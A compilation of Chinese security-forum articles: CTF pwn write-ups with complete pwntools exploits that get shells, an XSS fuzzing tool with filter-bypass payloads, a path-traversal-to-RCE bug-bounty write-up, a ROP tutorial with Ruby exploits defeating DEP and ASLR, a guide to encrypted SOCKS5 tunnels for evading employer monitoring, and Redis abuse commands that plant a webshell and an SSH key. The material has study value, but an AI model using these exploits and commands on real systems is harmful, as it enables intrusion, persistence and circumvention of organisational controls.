* 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小，新的top chunk的地址为`elf.got["printf"] -16+4`
* 下一次新建mail的时候，再输入的title就会刚刚好位于`elf.got["printf"]`中，修改为shellcode的地址
* 改printf的got表为shellcode地址，从而getshell
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./mailer"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def write(Length,Title,Content):
ru("Action: ")
sl("1")
ru("Content Length: ")
sl(str(Length))
ru("Title: ")
sl(Title)
ru("Content: ")
sl(Content)
shellcode =asm(shellcraft.sh())#length is 44
#print len(shellcode)
write(32,shellcode.ljust(0x40,"\x00")+p32(0x70),"aaaa")
write(32,"bbbb","bbbb"*8+p32(0)+p32(0xffffffff))
#write(48,"cccc","cccc")
sla(p,"Action: ","2")
ru("\x71")
leak_heap=u32(p.recv(7)[3:])
shellcode_addr = leak_heap+4
top = leak_heap+0xd8
fake_size = elf.got["printf"] - top- 72-16
print "shellcode address is : ",hex(shellcode_addr)
print "top chunk address is : ",hex(top)
print "fake size is : ",hex(fake_size)
print "fake size+top = ",hex(fake_size+top)
write(fake_size,'aaaa','bbbb')
gdb.attach(p)
pause()
sla(p,'Action: ','1')
sla(p,'Length: ','30')
sla(p,'Title: ',p32(shellcode_addr))
pause()
getshell()
# tictactoe1、2
32位程序，开了canary，NX保护
tictactoe1和tictactoe2都是一样的题目，只是要求到的操作不一样，tictactoe1只需要得到flag_simple就行了，而tictactoe2需要搞到shell，才能得到进一步的flag
这里我就直接开始弄能拿到shell的操作
首先分析一波程序：
这其实是个井字棋游戏，只有赢了才能拿到flag，但实际上不可能赢，你最多做到平局
这时就需要通过找漏洞来操作了：
漏洞主要出在这里，v1可以输入为负数，从而导致可以任意地址写一个字节
这里就很容易想到，如果把puts的got表改成0x8048C46，也就是下图中的地址，即可拿到flag_simple
但是，我这里直接做getshell的操作，这实际上有两种getshell的方法
## 方法一
使用ret2dl_resolve的方法：
首先有一个for循环，最多进行九次，根据你选择的先手或者后手进行下棋，AI和用户交替下，通过check函数来判断棋局是否有结果，每一轮循环，会用取反来交替下棋
继续进入you_play函数分析：
如果用户输入9，那么可以改变下棋的占位字符（默认的是X），通过这个造成一个任意地址写，最多能达到9次的任意地址写
在main函数的最后：`memset(&player, 0, 0x18u);`
由此可以通过ret2dl_resolve的方法，把memset指向system，同时改player为$0，从而执行system（$0\x00）getshell，当然system（sh\x00）也行，我这里用$0
ret2dl_resolve的关键点在于第一次执行memset函数的时候，会通过DT_STRTAB找到函数名的字符串，从而确定函数的真正地址，如果通过操作使得memset在找函数名字符串的时候找到“system”,那么memset就好绑定位system的got表内容
从IDA中看：
STRTAB位于0x0804af58中
输入：readelf -a tictactoe1
得到 STRTAB为0x080482fb
进入gdb调试，可以观察STRTAB内容：
发现memset字符串的偏移是0x44
再寻找system字符串在程序中的位置，得到可伪造的STRTAB为0x8049fc8
这样一来思路就有了
首先通过任意地址写，将0x0804af58改为0x8049fc8，只需要改末两个字节，使得STRTAB被伪造
接着通过任意地址写，将player（0x804B048）改成$0参数
就可以getshell了
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoe1"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def change(addr,value):
offset = addr -0x804B056
ru("\nInput move (9 to change flavor): ")
sl("9")
sd(value)
ru("\nInput move (9 to change flavor): ")
sd(str(offset))
player= 0x0804B048#改为sh\x00,或者$0
print "$0\x00".encode('hex')#73\x68\x00
print "sh\x00".encode('hex')#\x24\x30\x00
targe = 0x8049fc8#只需要修改后两个字节就行了
STRTAB = 0x0804AF58
bss = elf.bss()
ru("Play (1)st or (2)nd? ")
sl("1")
change(player,'\x00')#0
change(player,'\x24')#1 奇数轮次修改
change(STRTAB,'\xc8')#2
change(player + 1,'\x30')#3 奇数轮次修改
change(STRTAB + 1,'\x9f')#4
change(player+2,'\x00')#5 奇数轮次修改
change(bss+0x100,'\x00')#6 后三轮无关紧主要是为了退出循环
change(bss+0x100,'\x00')#7
change(bss+0x100,'\x00')#8
getshell()
这里需要注意的是，由于player每次会取反，改的时候需要注意统一用奇数轮次来写入
for ( i = 0; i <= 8 && !check(); ++i )
{
if ( player == -1 )
{
AI_play();
}
else
{
play_result();
you_play();
}
player = -player;
}
## 方法二
改整个程序流程为无限循环，从而进行常规的泄漏libc接着再getshell
这个方法是参考了这位大佬的：<https://xz.aliyun.com/t/1785，tql>
思路是这样的
* 第1步、首先，第一次进入you_play的时候，你最多有三次任意写的机会，可以写三个字节，用这个把main末尾出的memset函数的got表改成``call you_play`的地址，从而实现了无限循环写
* 第2步、接着改open_got的为：`0x08048Cb4:printf("Here is your flag: %s\n", buf);`，这样以来，程序执行到open函数的时候就会去执行这句，从而泄漏出buf的地址，进而得到libc偏移
* 第3步、得到libc偏移后就能算出onegadget了，后面用于直接getshell
* 第4步、这时再将exit的got改为`0x08048bd5:call you_play`,这么做的原因是，在执行完`0x08048Cb4:printf("Here is your flag: %s\n", buf);`后，将要执行exit(0)，从而使得程序重新变回无限循环写
* 第5步、将check的关键变量`v1`改为-1，也就是0xffffffff，使得程序进入赢得游戏的if分支，从而执行之前第2、3、4步中的操作
* 第6步、这时我们有了onegadget，程序通过第四步的构造，再一次执行到了you_play函数，继续构造写入，这时要把check的关键变量v1改为不等于-1，从而进入输掉游戏的if分支
* 第7步、改open_got为 to ->call _exit 0x08048CF2
* 第8步、将exit的got改为onegadget
* 第9步、将check的关键变量`v1`改为0xffffffff，跟第5步一样，使得程序进入赢得游戏的if分支，使得之前第7、8步的构造得以执行
* 第10步、执行exit函数从而getshell
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoe1"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7714)
libc = ELF("./libc-2.23.so.i386")
elif sys.argv[1] == "l":
p = process(bin_elf)
libc = elf.libc
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def change(addr,value):
offset = addr -0x804B056
ru("\nInput move (9 to change flavor): ")
sl("9")
sd(value)
ru("\nInput move (9 to change flavor): ")
sd(str(offset))
time.sleep(1)
sys.stdout.flush()#每隔0.5秒刷新一次stdout
memset_got = 0x0804B034
open_got = 0x0804B02C
exit_got = 0x0804B028
check = 0x0804B04D
ru("Play (1)st or (2)nd? ")
sl("1")
change(memset_got,'\xd5')# 将memset的got改为:0x08048bd5:call you_play
change(memset_got+1,'\x8b')
change(open_got,'\xb4')# 将open的got改为:0x08048Cb4:printf("Here is your flag: %s\n", buf);
change(open_got+1,'\x8c')
change(exit_got,'\xd5')# 将exit的got改为:0x08048bd5:call you_play
change(exit_got+1,'\x8b')
#将v1改为-1,则可赢得游戏,开始执行向print flag的if分支
change(check,"\xff")
change(check+1,"\xff")
change(check+2,"\xff")
#leak libc_base
offset =0x1462e#泄露的0xf7***f12到__libc_start_main的偏移
ru("Here is your flag: ")
libc_leak=u32(p.recv(4))
print "libc_leak:",hex(libc_leak)
__libc_start_main=libc_leak+offset
print "__libc_start_main:",hex(__libc_start_main)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print "libc_base:"+hex(libc_base)
onegadget = libc_base+0x3AC69#远程端:0x3ac49,本地:0x5fbc5
print "onegadget:",hex(onegadget)
#输掉游戏,进入puts("Draw!......")的if分支
change(check+1,"\x01")
#改open_got为 to ->call _exit 0x08048CF2
change(open_got,"\xf2")
change(open_got+1,"\x8c")
#将exit的got改为onegadget
change(exit_got,p32(onegadget)[0])
change(exit_got+1,p32(onegadget)[1])
change(exit_got+2,p32(onegadget)[2])
change(exit_got+3,p32(onegadget)[3])
#赢得游戏,进入print flag的if分支
change(check+1,"\xff")
getshell()
这里需要注意的是，在泄漏libc那一步
泄漏出来的buf地址是一个这样的值：0xf7xxxf12，我是通过下断点进gdb调试，找到这个地址到`__libc_start_main`的偏移，从而得到`__libc_start_main`的真实地址，进而得到libc的基址
就这样算出onegadget
# 小结
通过这些题目，的确是让我学到了不少的骚操作，尤其是让我理解了调试的重要性，pwn题就是得慢慢看ida慢慢调试，加深自己对题目的理解，最后通过掌握的各个利用线索来getshell | 社区文章 |
# 【安全工具】xssfork：一款XSS探测工具
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[bsmali4](http://bobao.360.cn/member/contribute?uid=561536297)
Blog：[http://www.codersec.net/](http://www.codersec.net/)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**xssfork简介**
xssfork作为sicklescan的一个功能模块，其开发主要目的是用于检测xss漏洞。
传统的xss探测工具，一般都是采用 payload in
response的方式，即在发送一次带有payload的http请求后，通过检测响应包中payload的完整性来判断，这种方式缺陷，很多。
**第一：** 不能准确地检测dom类xss
**第二：** 用类似于requests之类的库不能真正的模拟浏览器
**第三：** 网页js无法交互
怎么解决？如果能够用浏览器代替这个模块，去自动hook是最好的。所幸，我了解到phantomjs，当然现在google浏览器也支持headless模式，类似的，你也可以采用google浏览器去做检测。
**原理**
对于这类fuzz过程,基本都是预先准备好一些payload,然后加载执行。对于这类io型密集的扫描模型，后端使用多线程就比较适用，但是由于phantomjs你可以理解为一个无界面的浏览器，在加载的时候，其缺陷也比较明显，比较吃内存，用它来发包自然不像requests库轻量。
**编码脚本**
由于基础的payload模块，我收集了71个。
基础pyaload会在现有的基础上，会添加上各种闭合的情况。
除了这些基础的payload,xssfork还提供了几个编码脚本，查看脚本，可以看help
现阶段提供了10进制，16进制，随机大小写，关键字叠加四个脚本。
**10hex_encode**
将 html 标签内部字符10进制化
<a href=javascript:alert(65534);>aaa</a>
其效果如下
**16hex_encode**
将 html 标签内部字符16进制化
uppercase
随机大小写将 <script>alert(65534);</script> 转换成 <ScRIPt>alert(65534);</ScRIpT>
addkeywords
主要是应对过滤为 replace('keyword>s','') 的情况，<script>alert(65534);</script> 变成
<<script>script>alert(65534);</script>当然默认开启的是轻量模式，即只返回一个payload，开启重量模式，可以生成更加丰富的pyaload，效果如下
<script>alert(65534);</script>
<script>alert(65534);</ScrIpt>
<ScrIpt>alert(65534);</sCrIpt>
<scRiPt>alert(65534);</script>
<ScrIpt>alert(65534);</script>
**演示**
场景1.反射型xss
场景2.大小写绕过
场景3.dom型xss
场景4.post类型
场景5.需要验证cookie
post类型
python xssfork.py -u "xx" -d "xx"
存储型
python xssfork.py -u "xx" -d "xxx" -D "输出位置"
带cookie
python xssfork.py -u "xx" -c "xx"
**说明**
开源只为分享，请勿将本脚本做任何商业性质的集成。开发的时候，有可能很多情况没有考虑到，如果你有更好的建议或者发现bug，可以联系我邮箱[email protected]
，xssfork.codersec.net网站还在建设中，github不要吝啬你的star。
开源地址 <https://github.com/bsmali4/xssfork>，记得不要吝啬你的star | 社区文章 |
**要分享这篇Writeup是作者在一次私人赏金项目上发现的，目标网站存在不安全的访问控制措施，可以利用其导致路径遍历(Path Traversal)
+任意文件上传，以本地文件包含(LFI)方式，实现远程代码执行（RCE）。此处渗透测试测试是一次非常经典的的LFI+任意文件上传操作。考虑到站点隐私的问题，部分图片会做打码处理。**
## 路径遍历(Path Traversal)
目标站点上有一个名为
**/se/v92711/generic/gn_deaultframe/2.0/defaultframe_toolbar_load.php**
的页面，在POST body中，作者发现了一个有趣的参数： **frameManagerPath**
，内容经过base64-encode处理。这个参数用于加载目标站点上的JS文件。如下图：
解码base64，发现这是一个相对路径：
接下来尝试读取`/etc/passwd`的内容，需要先进行编码：`L2V0Yy9wYXNzd2Q=`：
## 关于文件上传
在此之前，作者找到了一个文件上传点，可以上传任意格式文件，并且上传文件的存放路径可以在响应中看到。如下：
但问题来了，外部用户无法访问`/wwwroot/path:/.`。因此，这个漏洞暂时有些鸡肋。
## 打组合拳
首先，上传一个普通的webshell，反回文件存放的相对路径。
对路径做调整，base64-encode处理得到`cmFudC9ibG9nL3BhdGh0cmF2ZXJzYWwvaW1hZ2UwNS5wbmc=`，然后结合LFI，尝试执行。
请求：
响应：
最终，作者实现了远程代码执行：
参考来源:[incogbyte](https://incogbyte.github.io/pathtraversal/) | 社区文章 |
# 【技术分享】ropasaurusrex:ROP入门教程——DEP（下）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
********
翻译：[Kr0net](http://bobao.360.cn/member/contribute?uid=2874666548)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【技术分享】ropasaurusrex:ROP入门教程——STACK](http://bobao.360.cn/learning/detail/3927.html)
[【技术分享】ropasaurusrex:ROP入门教程——DEP（上）](http://bobao.360.cn/learning/detail/3925.html)
**执行它
**
现在我们已经把cat/etc/passwd写入了内存中，现在我们要调用system()函数，并且让它指向这个地址。事实上，如果关闭了ASLR，这项工作很简单就可以完成。我们知道可执行文件是与libc相连的：
Libc.so.6包含system()的地址：
在调试器中我们可以计算出system()最终被加载的地址：
因为sysetm()只有一个参数，所以它的栈帧很简单：
现在我们以read()为栈顶部，将system()栈帧堆到read()的栈帧上，这看起来非常好：
当read()函数将返回时，栈指针的指向在如上图。当它返回的时候栈弹出read()的返回地址，并跳转到此处。当这个完成的时候，栈的情况如下所示：
嗷呜~ 这不是很好。当我们进入system()函数的时候栈指针指向read()帧的中部，不是像我们预期的那样指向system()的底部，那我们应该怎么办？
好的，对ROP的编程中有一个叫做pop/pop/ret的重要结构。在我们目前的状况下，它确切来说叫做pop/pop/pop/ret。我们将其简记为”pppr”。我们只要记得，它有足够的pop来清空堆栈，并且带着一个返回。
“pppr”是用来清空栈中我们不想要的东西。因为read()函数有三个参数，所以我们需要三个pop来清空栈，然后返回。我们来看看在在read()之后返回到”pppr”时栈的变化情况。
执行到pop/pop/pop/ret，但它还没有返回之前，栈的情况：
当它返回的时候：
使用objdump可以很简单地找到pop/pop/pop/ret:
这可以在我们执行下一个函数之前清理栈空间，完美！
记得在你自己完成”pppr”的时候，记得使用的pop要处与连续的地址，使用egrep可能不会满足这个要求。
现在如果我们需要三个pop和一个ret（来清除栈中read()的三个参数），我们要达到0x80484b6地址上，我们的栈会变成这个样子：
最后我们用s.read()更新我们的EXP，来查看远程服务向我们发送了什么数据，当前的EXP如下：
require 'socket'
s = TCPSocket.new("localhost", 4444)
# The command we'll run
cmd = ARGV[0] + ""
# From objdump -x
buf = 0x08049530
# From objdump -D ./ropasaurusrex | grep read
read_addr = 0x0804832C
# From objdump -D ./ropasaurusrex | grep write
write_addr = 0x0804830C
# From gdb, "x/x system"
system_addr = 0xb7ec2450
# From objdump, "pop/pop/pop/ret"
pppr_addr = 0x080484b6
# Generate the payload
payload = "A"*140 +
[
# system()'s stack frame
buf, # writable memory (cmd buf)
0x44444444, # system()'s return address
# pop/pop/pop/ret's stack frame
system_addr, # pop/pop/pop/ret's return address
# read()'s stack frame
cmd.length, # number of bytes
buf, # writable memory (cmd buf)
0, # stdin
pppr_addr, # read()'s return address
read_addr # Overwrite the original return
].reverse.pack("I*") # Convert a series of 'ints' to a string
# Write the 'exploit' payload
s.write(payload)
# When our payload calls read() the first time, this is read
s.write(cmd)
# Read the response from the command and print it to the screen
puts(s.read)
# Clean up
s.close()
当我们执行EXP，得到意料之中的结果：
如果你查看core dump，你可以看到程序如预期的崩溃在0x44444444。
这个EXP在我的实验机器上运行正常，但是开启ASLR后，它就失败了：
ASLR的开启让EXP的编写变得复杂，我们接下来看！
这里作者介绍了DEP以及其的绕过，过程依然十分详细，接下来进入文章的重点绕过ASLR。
**什么是ASLR？**
* * *
ASLR或者说地址空间布局随机化，是现代系统里一种通过随机加载函数库的地址的防卫措施（除了FreeBSD）。举个例子，我们运行两次ropasaursrex并且获得system()的地址：
可以发现，两次system()的地址不一样，从0xb766e450到0xb76a7450，这就是问题所在。
**攻破ASLR**
* * *
所以，现在我们知道的哪些什么知识可以来用呢？可执行文件本身并不具有随机化，所及我们可以依赖它里面的每一个地址用来定位，这是十分有用的。最重要的是重定位表会一直保留着相同的地址：
我们知道了read()和write()在可执行文件中的地址。这有什么用呢。让我们来看看当可执行文件跑起来时这些地址的值：
仔细看看…我们知道了一个指向read()内存地址的指针！我们可以怎么做呢，想想…？我会给你一点提示：我们可以用write()函数从任意内存中抓取数据并且写入socket中。
**最后，执行一些代码！**
* * *
好的，休息一下，我们将这项工作分解成下面几个步骤，我们需要：
1.用read()函数复制一指令进入内存
2.获得write()的地址并且使用write()
3.计算write()和system()两者地址的偏移量，间接得到system()的地址
4.调用system()
要调用system()，我们需要在内存中的某处写入system()的地址，然后才能调用它。最简单的方式是重写read()的plt表，然后调用read()
但是现在，你可能很疑惑到底要怎么做，别急。我过去也是，并且我为我完成了这个任务感到震惊。:)
现在让我们全力以赴来完成它，下面是我们想要建立的栈：
Holy smokes，这是怎么来的？
我们从底部开始看看它是怎么运作的！为了方便区分，我为不同的栈帧做了标记。
Fram[1]我们之前已经见过了。它把命令写入可写的内存里面。
Fram[2]用”pppr”来清除栈（调整esp）。
Fram[3]用write()把read()的地址写入socket。
Fram[4]用”pppr”来清除栈（调整esp）。
Fram[5]socket读取另一个地址，并将其写入内存。这个地址将会是system()的地址。
read()的调用实际上是一个间接的跳转！所以如果我们可以改变0x804961c中的值，然后跳转过去，那样我们就可以跳转到任何的地方！所以在Fram(3)中我们读取read()的实际地址，然后在Fram[5]在这个地方重写地址。
Fram[6]用”pppr”来清除栈（调整esp）。这里有一点不同，ret的返回地址是0x804832c,这个是read()在plt表中的地址。接下来我们将其重写为system()的地址，然后就会跳转到system。
**最终的代码**
* * *
Whew!(口哨声)。这样就完成了。下面的代码充分利用ropasurusrex成功绕过DEP和ASLR：
require 'socket'
s = TCPSocket.new("localhost", 4444)
# The command we'll run
cmd = ARGV[0] + ""
# From objdump -x
buf = 0x08049530
# From objdump -D ./ropasaurusrex | grep read
read_addr = 0x0804832C
# From objdump -D ./ropasaurusrex | grep write
write_addr = 0x0804830C
# From gdb, "x/x system"
system_addr = 0xb7ec2450
# Fram objdump, "pop/pop/pop/ret"
pppr_addr = 0x080484b6
# The location where read()'s .plt entry is
read_addr_ptr = 0x0804961c
# The difference between read() and system()
# Calculated as read (0xb7f48110) - system (0xb7ec2450)
# Note: This is the one number that needs to be calculated using the
# target version of libc rather than my own!
read_system_diff = 0x85cc0
# Generate the payload
payload = "A"*140 +
[
# system()'s stack frame
buf, # writable memory (cmd buf)
0x44444444, # system()'s return address
# pop/pop/pop/ret's stack frame
# Note that this calls read_addr, which is overwritten by a pointer
# to system() in the previous stack frame
read_addr, # (this will become system())
# second read()'s stack frame
# This reads the address of system() from the socket and overwrites
# read()'s .plt entry with it, so calls to read() end up going to
# system()
4, # length of an address
read_addr_ptr, # address of read()'s .plt entry
0, # stdin
pppr_addr, # read()'s return address
# pop/pop/pop/ret's stack frame
read_addr,
# write()'s stack frame
# This frame gets the address of the read() function from the .plt
# entry and writes to to stdout
4, # length of an address
read_addr_ptr, # address of read()'s .plt entry
1, # stdout
pppr_addr, # retrurn address
# pop/pop/pop/ret's stack frame
write_addr,
# read()'s stack frame
# This reads the command we want to run from the socket and puts it
# in our writable "buf"
cmd.length, # number of bytes
buf, # writable memory (cmd buf)
0, # stdin
pppr_addr, # read()'s return address
read_addr # Overwrite the original return
].reverse.pack("I*") # Convert a series of 'ints' to a string
# Write the 'exploit' payload
s.write(payload)
# When our payload calls read() the first time, this is read
s.write(cmd)
# Get the result of the first read() call, which is the actual address of read
this_read_addr = s.read(4).unpack("I").first
83
84 # Calculate the address of system()
85 this_system_addr = this_read_addr - read_system_diff
# Write the address back, where it'll be read() into the correct place by
# the second read() call
s.write([this_system_addr].pack("I"))
# Finally, read the result of the actual command
puts(s.read())
# Clean up
s.close()
这里是运行结果：
当然你想的话，我们可以改变cat/etc/passwd成任何东西（包括端口监听）：
（总结：这篇文章的翻译到此结束，文章从三个阶段：STACK，DEP，ASLR逐步递进详细地讲解了ROP的编写，译者对这篇文章的翻译希望能给刚刚入门PWN的朋友们带来帮助。虽然译者的PWN能力很弱，但是译者觉得在PWN的学习中，当然除了出题人带来的了巨大脑洞之外，每一次PWN的学习都可以带来狠多的乐趣，就像本文的作者把栈比喻成函数的天堂和地狱，每次PWN的利用无不是对函数世界的重构，虽然重构的过程艰难且繁杂，但每次重构后的世界都能给我们带来收获）
传送门
* * *
[【技术分享】ropasaurusrex:ROP入门教程——STACK](http://bobao.360.cn/learning/detail/3927.html)
[【技术分享】ropasaurusrex:ROP入门教程——DEP（上）](http://bobao.360.cn/learning/detail/3925.html) | 社区文章 |
文章作者：[email protected]
使用场景：
公司最近不知什么原因又开始折腾员工了，微信、QQ、百度网盘等等软件统统不让用了，公司在出口的地方通过部署了安全监控系统来实现上述功能，当我们使用不加密的socks5软件连接公网VPS的时候，会识别出正在使用socks5协议，然后的操作挺常规，block当前的socks5连接。
作为一名安全人员，肯定不甘心止步于这种LOW级别的阻断，于是花了几天时间测试了下面两种建立加密socks5中转方法。终于又可以愉快的使用微信和QQ了。
1、SecureCRT下利用SSH建立加密socks5转发（linux类平台）
1.1 SecureCRT端的设置：
//本机的127.0.0.1上面开放1088代理中转端口设置：
ssh主机上面点击右键->Session Options...
Port Forwarding->Add... //请按红圈所示位置填入相关信息
1.2 局部代理（http&https代理设置），360浏览器代理插件(SwitchyOmega)设置相关截图，其它浏览器的代理设置也可以参考：
1.3 Proxifier建一个全局socks5代理（ssh+Proxifier）:
Profile->Proxy Servers
//按下图设置完成后，可以点击”Check”测试一下网络连接情况：
2、利用Dog Tunnel_狗洞建立加密socks5转发（全平台支持）:
2.1 在公网VPS上面运行Dog Tunnel_狗洞，打开加密socks5
下载地址：<https://github.com/vzex/dog-tunnel>
//在公网VPS上面监听本地1089的udp或tcp服务端口，action为空表示客户端连接时不限制action行为,如果服务端想限制客户端行为，可强制设置action内容,xor为用户指定字符串用于握手加密，可不指定:
dtunnel_lite -service :1089 -tcp -v -xor 1213343
//在客户端连接公网VPS的1089
udp或tcp端口，监听本地的1088端口作为socks5服务，传输内容加密，默认建立5条固定通道（防止大数据传输或者网络不好时单条通道拥堵），web请求中不可避免的会有一些非正常关闭的tcp连接，加session_timeout可以清除这些无用连接，防止描述符泄露
dtunnel_lite -service 210.73.XX:1089 -tcp -v -action socks5 -encrypt -xor 1213343 -local :1088 -pipe 5 -session_timeout 30
2.2 局部代理（http&https代理设置），360浏览器代理插件(SwitchyOmega)设置相关截图，其它浏览器的代理设置也可以参考：
2.3 Proxifier建一个全局socks5代理（ssh+Proxifier）:
Profile->Proxy Servers
//按下图设置完成后，可以点击”Check”测试一下网络连接情况： | 社区文章 |
# Redis基础
## redis
Redis，英文全称是Remote Dictionary Server（远程字典服务），是一个开源的使用ANSI
C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
与MySQL数据库不同的是，Redis的数据是存在内存中的。它的读写速度非常快，每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存，另外，Redis也经常用来做分布式锁。除此之外，Redis支持事务、持久化、LUA
脚本、LRU 驱动事件、多种集群方案。
## 数据结构
基本类型：
* String（字符串）
* Hash（哈希）
* List（列表）
* Set（集合）
* zset（有序集合）
特殊的数据结构
* Geospatial
* Hyperloglog
* Bitmap
## 常用命令
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接
## Redis数据库配置
### port
格式为port后面接端口号，如port 6379，表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
### bind
格式为bind后面接IP地址，可以同时绑定在多个IP地址上，IP地址之间用空格分离，如bind 192.168.1.100 10.0.0.1，表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接，说白了就是白名单。
### save
格式为save <秒数> <变化数>，表示在指定的秒数内数据库存在指定的改变数时自动进行备份（Redis是内存数据库，这里的备份就是指把内存中的数据备份到磁盘上）。可以同时指定多个save参数，如：
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变，或者300秒后产生了10次改变，或者900秒后产生了1次改变，那么立即进行备份操作。
### requirepass
格式为requirepass后接指定的密码，用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的，说明不需要密码即可连接；同时，配置文件有一条注释了的requirepass foobared命令，如果去掉注释，表示需要使用foobared密码才能连接Redis数据库。
### dir
格式为dir后接指定的路径，默认为dir ./，指明Redis的工作目录为当前目录，即redis-server文件所在的目录。注意，Redis产生的备份文件将放在这个目录下。
### dbfilename
格式为dbfilename后接指定的文件名称，用于指定Redis备份文件的名字，默认为dbfilename dump.rdb，即备份文件的名字为dump.rdb。
### config
通过config命令可以读取和设置dir参数以及dbfilename参数，因为这条命令比较危险（实验将进行详细介绍），所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作，如rename-command CONFIG HTCMD，可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
### protected-mode
redis3.2之后添加了protected-mode安全模式，默认值为yes，开启后禁止外部连接，所以在测试时，先在配置中修改为no。
# 关于漏洞
## ssh-keygen 公钥登录服务器
### **原理**
SSH提供两种登录验证方式，一种是口令验证也就是账号密码登录，另一种是密钥验证。
所谓密钥验证，其实就是一种基于公钥密码的认证，使用公钥加密、私钥解密，其中公钥是可以公开的，放在服务器端，你可以把同一个公钥放在所有你想SSH远程登录的服务器中，而私钥是保密的只有你自己知道，公钥加密的消息只有私钥才能解密，大体过程如下：
1. 客户端生成私钥和公钥，将公钥拷贝给服务器端
2. 客户端发起登录请求
3. 服务器端根据客户端发来的信息查找是否存有该客户端的公钥，
4. 客户端收到服务器发来的加密后的消息后使用私钥解密，并把解密后的结果发给服务器用于验证
5. 服务器收到客户端发来的解密结果，与自己刚才生成的随机数比对
### **条件：**
* Redis服务使用ROOT账号启动
* 服务器开放了SSH服务，而且允许使用密钥登录。
### 命令
#### 写webshell
config set dir /var/www/html/ //切换到网站的根目录
config set dbfilename zcc.php //在磁盘中生成木马文件
set xxx "\n\n\n?php @eal($_POST['zcc']);?\n\n\n" //写入恶意代码到内存中，，redis写入文件的会带版本信息，不换行会导致无法执行.
save //将内存中的数据导出到磁盘
#### 写ssh公钥
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n"，将公钥写入x键。前后用\n换行，避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
save
